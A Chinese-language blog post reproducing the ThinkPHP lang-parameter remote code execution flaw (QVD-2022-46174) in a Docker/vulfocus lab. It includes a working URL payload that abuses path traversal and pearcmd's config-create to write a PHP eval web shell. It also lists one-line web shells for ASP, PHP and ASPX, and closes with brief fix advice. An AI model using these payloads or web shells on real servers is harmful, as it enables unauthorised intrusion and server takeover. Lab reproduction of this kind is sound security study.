您现在的位置是:首页 >技术杂谈 >thinkphp lang命令执行(QVD-2022-46174)漏洞复现网站首页技术杂谈
thinkphp lang命令执行(QVD-2022-46174)漏洞复现
漏洞简介:
ThinkPHP,是为了简化企业级应用开发和敏捷WEB应用开发而诞生的开源轻量级PHP框架。当特定版本的ThinkPHP开启多语言功能,并且存在扩展pear时,攻击者可以构造lang参数实现远程代码执行。
影响版本:
6.0.1 <= ThinkPHP <= 6.0.13
ThinkPHP 5.0.x
ThinkPHP 5.1.x
漏洞原理:
1、知识储备:
(1)HTML之lang属性:在Html全局属性列表中,对lang属性的描述为(Defines the language used in the element - 定义元素中使用的语言),顾名思义,lang属性的作用就是用来定义元素中使用的语言。
(2)PEAR:PEAR也就是为PHP扩展与应用库(PHP Extension and Application Repository),它是一个PHP扩展及应用的一个代码仓库。
(3)Pearcmd:pearcmd.php是pear工具调用的功能文件,pear是管理php的扩展管理工具, 可以理解为php的命令行工具。
(4)config-create:创建文件,该方法需接收两个参数,第一个参数是写入文件的内容,第二个参数是写入文件的路径
2、漏洞原理
该漏洞建立在目录遍历和文件包含之上,主要由于pearcmd的存在为攻击者提供了实施远程代码攻击的可能,扩大了其危害性。
复现过程:
环境搭建:ubuntu+docker+vulfocus
工具:burpsuite+蚁剑
启动靶场:
docker run -d -p 80:80 -v /var/run/docker.sock:/var/run/docker.sock -e VUL_IP=《ubuntu 的IP》 vulfocus/vulfocus
访问路径http://192.168.202.166:64098/public/index.php
抓包并丢到repeater模块并修改包添加payload:
?lang=../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/<?=@eval($_REQUEST['caixiaogaun']);?>+/var/www/html/666.php
payload注释:
../../../../../../../../ 一直退到根目录(需存在目录遍历漏洞)
/usr/local/lib/php/pearcmd 需要用到pearcmd
&+config-create+/<?=@eval($_REQUEST['caixiaogaun']);?>+/var/www/html/666.php 将一句话木马写入到/var/www/html/666.php中
一句话木马其实就是脚本语言的利用,懂脚本语言则无师自通,不懂也不打紧,稍微熟悉一下各脚本语言的执行命令操作即可灵活构造。
Asp一句话木马:
<%eval request(“heroes”)%>
Php 一句话木马:
<?php @eval($_POST[value];?>
Aspx 一句话木马:
<%@ Page Language=”Jscript”%>
<%eval(Request.Item[“value”])%>
使用蚁剑连接
成功获取shell
修复建议:
php.ini中的register_argc_argv设置为Off,禁止url传入命令行参数;
或升级版本。
总结:
本次漏洞复现,是建立在前人的基础上的,整个过程没有遇到太大问题,总体收获就是感受了一把该漏洞,以及复习了前面学习到的一句话木马,同时扩展了一些小知识点。
将思绪代入最初的漏洞发现者,才明白知识储备对挖洞者的重要性。